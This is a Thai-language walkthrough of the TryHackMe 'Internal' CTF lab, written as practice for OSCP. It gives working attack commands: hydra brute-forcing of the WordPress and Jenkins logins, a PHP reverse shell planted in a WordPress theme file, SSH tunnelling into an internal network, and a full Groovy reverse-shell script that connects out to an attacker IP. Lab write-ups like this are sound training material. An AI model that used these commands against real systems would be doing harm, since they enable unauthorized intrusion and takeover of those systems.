Internal — Walkthrough (TryHackMe)

สวัสดีครับ เนื่องจากช่วงนี้ทางผู้เขียนอยู่ในช่วงเตรียมสอบ cert OSCP จึงมองหาแล็บที่จะฝึกฝนในการโจมตีต่าง ๆ แล้วก็ได้ไปเจอแล็บนึงที่น่าสนใจของ Tryhackme มีชื่อว่า Internal เป็น machine linux ที่มีการใช้งานเครื่องมือและเทคนิคต่าง ๆ ในการเข้าไปโจมตีและยึดระบบของ machine นั้น เช่น การใช้งานเครื่องมือ hydra เพื่อทำการ brute-force หาข้อมูลสำคัญต่าง ๆ และมีการใช้งานเทคนิคการสร้าง Tunnel ในการเข้าถึงระบบ network วงด้านในเครื่อง โดยจะมีวิธีการโจมตียังไง เริ่มตั้งแต่รู้แค่ IP address ไปจนถึงได้สิทธิ์สูงสุดบนระบบ ไปดูกันเลยครับบบ
เริ่มจากการ Enumeration หาข้อมูลเบาะแสต่าง ๆ ก่อน โดยใช้เครื่องมือ nmap ในการสแกนพอร์ตบน IP นั้น เพื่อตรวจสอบว่ามีการเปิดใช้งานพอร์ตอะไรบ้างที่สามารถโจมตีได้ โดยใช้คำสั่ง ดังนี้
nmap -sS -sC -sV -v -Pn 10.10.137.183 -oN internal

เราจะพบว่าระบบมีการเปิดใช้งานอยู่ 2 พอร์ต คือ 22 (SSH) ที่มีการใช้งาน OpenSSH เวอร์ชัน 7.6p1 Ubuntu และ 80 (HTTP) ที่มีการใช้งาน Apache/2.4.29 จากนั้นเข้าไปที่ URL “http://10.10.137.183” จะพบว่าเป็นหน้า Default page ของ Apache2 Ubuntu ต่อมาไปลองทำการ brute-force path กัน

ในการ brute-force path นั้น มีเครื่องมือที่ใช้งานได้หลากหลาย เช่น ffuf, wfuzz, dirbuster, feroxbuster, gobuster และอื่น ๆ ส่วนนี้ผมใช้งานเครื่องมือ gobuster ในการ brute-force path โดยใช้ wordlist เบื้องต้น คือ “common.txt” จะเจอพาธต่าง ๆ เปิดใช้งาน

ลองเข้าไปที่ path “phpMyAdmin” จากนั้นทำการ Login ด้วยชื่อและรหัสผ่านเบื้องต้นของ phpMyAdmin พบว่าไม่สามารถล็อกอินเข้าไปได้ ก่อนไปขั้นตอนต่อไปในโจทย์ให้ส่วนของชื่อ Host มาให้ “internal.thm ” เลยไปทำการ map host ที่ไฟล์ “/etc/hosts” ก่อน

เมื่อลองทำการเล่นเว็บ http://internal.thm/blog ไปคร่าว ๆ ก็จะพบปุ่มสำหรับไปยังหน้าล็อกอิน และได้ข้อมูลของระบบว่ามีการใช้งาน WordPress

จากนั้นลองดูพวกตามโพสต์ต่าง ๆ ก็พบโพสต์นึงที่สร้างขึ้นโดยชื่อ ADMIN ซึ่งคาดว่ามีการใช้งานชื่อ “admin” ด้วย ต่อมาลองกดไปที่ปุ่ม Login จากขั้นตอนก่อนหน้าก็จะพามายังหน้า Login ของ WordPress

ลอง Login ด้วย default credentials แล้วพบว่าไม่สามารถล็อกอินเข้าไปได้

จากนั้นเลยลองทำการ brute-force รหัสผ่านของ admin โดยใช้ wordlist ของ “rockyou.txt” ด้วยเครื่องมือ hydra โดยใช้คำสั่ง ดังนี้
hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm http-form-post “/blog/wp-login.php:log=^USER^&pwd=^PASS^:Error”

เมื่อทำการ brute-force สำเร็จ จะพบว่า admin มีการใช้งานรหัสผ่านดังภาพในการล็อกอินเข้าระบบ พบว่าสามารถเข้าใช้งานเว็บแอปพลิเคชัน WordPress ด้วยสิทธิ์ admin สำเร็จ จากนั้นลองหาทางโจมตี โดยเมื่อสามารถเข้าถึงในส่วนของ admin WordPress ได้แล้วท่าที่ใช้โจมตีหลัก ๆ คือการอัป reverse shell code ลงไปยังไฟล์ template ของเว็บ

ทำการอัปเดต source code ของไฟล์ “404.php” จากของเดิมเป็นไฟล์ reverse shell ที่อ้างอิงจากไฟล์ “php-reverse-shell.php” ที่ใช้สำหรับการโจมตี

หลังจากนั้นทำการใช้เครื่องมือ netcat เปิดรอการต่อ connection กลับมาที่พอร์ต 443 ต่อมาไปที่ URL “ http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.php ” เพื่อตรวจสอบว่า source code ที่ใส่ลงไปทำการหรือไม่ โดยคำสั่ง netcat ที่ใช้คือ
nc -lvnp 443

เมื่อมาดูที่ terminal พบว่ามีการต่อเข้ามาสำเร็จ แต่ได้สิทธิ์เป็น (www-data) คือสิทธิ์เว็บทั่วไป ลองตรวจสอบเวอร์ชันของ Python พบว่ามีการใช้งาน Python 2.7.17 จากนั้นทำการ spawn shell โดยใช้คำสั่ง
python -c ‘import pty;pty.spawn(“/bin/bash”)’

ลองไปดูไฟล์ config ต่าง ๆ ของ WordPress และ phpMyAdmin ก็ไม่พบข้อมูลน่าสนใจ จากนั้นลองทำการหาพวกไฟล์ text ต่าง ๆ ที่มีอยู่บนระบบว่ามีไฟล์อะไรที่น่าสนใจไหม

ไปเจอไฟล์ txt ที่น่าสนใจไฟล์นึงชื่อ “wp-save.txt” ซึ่งอยู่ใน path “/opt” พบว่ามีการแจ้งข้อมูลสำคัญบางอย่างลงบนไฟล์นี้ซึ่งเป็นไปได้ว่าอาจจะเป็นชื่อและรหัสผ่านของคนที่ชื่อ “aubreanna”

เมื่อลองดูที่ path “/home” พบว่ามีผู้ใช้งานชื่อ “aubreanna” อยู่บนระบบ

หลังจากดูที่ผล nmap พบว่าระบบมีการเปิดการใช้งานพอร์ต 22 (SSH) ด้วย ลองทำการ SSH ด้วยชื่อของ “aubreanna” กัน เมื่อทำการใส่ข้อมูลครบแล้วจะพบว่าสามารถ SSH ด้วย “aunreanna” ได้สำเร็จ

ลองทำการอ่านไฟล์ “jenkins.txt” ที่มีในโฟลเดอร์ของ “aunreanna” มีการแจ้งว่ามีการรันเซอร์วิส “Jenkins” อยู่ที่ IP “172.17.0.2:8080”

เนื่องจากเซอร์วิสที่เปิดอยู่นั้นเป็นคนละวงกับทางผู้โจมตี จึงต้องมีการสร้างเส้นทางเพื่อเข้าไปถึงระบบของวง “172.17.0.2” ได้ โดยใช้ ssh ในการสร้าง Tunnel เพื่อสร้างเส้นทางเข้าไปถึง IP “172.17.0.2:8080” โดยผ่านพอร์ต 445 โดยใช้คำสั่ง
ssh -L 445:172.17.0.2:8080 [email protected]

เมื่อเข้าไปที่ “http://localhost:445” จะพบว่าสามารถเข้าไปถึงเซอร์วิส “Jenkins” ที่เปิดใช้งานได้สำเร็จ ลองทำการ Login ด้วย default credentials พบว่าไม่สามารถเข้าได้เหมือนเดิม

จึงทำการใช้เครื่องมือ hydra เพื่อทำการ brute-force โดยใช้คำสั่งดังนี้
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 445 127.0.0.1 http-form-post “/j_acegi_security_check:j_username=admin&j_password=^PASS^:Invalid”
เมื่อทำการ brute-force แล้วก็จะได้รหัสที่ใช้สำหรับ Login ของ admin มาได้เรียบร้อย

เมื่อลองทำการ Login เข้าไปก็พบว่าจะสามารถ Login ได้สำเร็จ YES!

จากนั้นลองไปหาข้อมูลในการโจมตีของเวอร์วิส “Jenkins” พบว่าสามาถโจมตีผ่านหน้า “Script Console” ได้

จากนั้นลองหา Groovy script ที่ใช้โจมตีโดยใช้เป็นการ reverse shell กลับมาที่ IP “10.11.11.187” พอร์ต “345” โดยใช้คำสั่งดังนี้
String host=”10.11.11.187”;
int port=345; String cmd=”/bin/bash”;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

จากนั้นทำการเปิด netcat รอเซอร์วิส “Jenkins” ต่อเข้ามา จะพบว่ามีการต่อเข้ามาได้สำเร็จ

ลองทำการหาไฟล์ text ที่น่าสนใจ โดยใช้คำสั่ง find จะมีไฟล์ชื่อ note.txt ที่มีการแจ้ง (อีกแล้ว) แต่ครั้งนี้จะเป็นชื่อบัญชีผู้ใช้งาน “root” ซึ่งเป็นสิทธิ์สูงที่สุดบนระบบ linux
find / -type f -name “*.txt” 2>/dev/null

ลองนำข้อมูลที่ได้มาทำการ SSH ด้วยสิทธิ์ “root” จะพบว่าสามารถ SSH ด้วยบัญชีผู้ใช้งาน “root” ได้สำเร็จ Goal!!!

เป็นอย่างไรกันบ้างครับสำหรับแล็บที่มานำเสนอวันนี้ด้วยวิธีการโจมตีจะเน้นไปทาง Enumeration และ Brute-force หารหัสผ่านเป็นหลัก จากนั้นต้องทำการสร้าง Tunnel ในการเข้าถึงเน็ตเวิร์กภายใน ซึ่งเป็นการนำความรู้ที่ได้ไปใช้การโจมตีจริง ๆ ได้
สำหรับวันนี้ก็ขอลาม้าวัวไก่หมูหมึกกุ้งอุ่นหุงตุ๋นต้มนึ่งไปก่อน โดยสัปดาห์จะเป็นบทความดี ๆ อะไรต่อติดตามได้ในเพจของบริษัท ดาต้าฟาร์ม เลยครับ สปอย!! อาจจะมีแมว (cat) สวัสดีครับ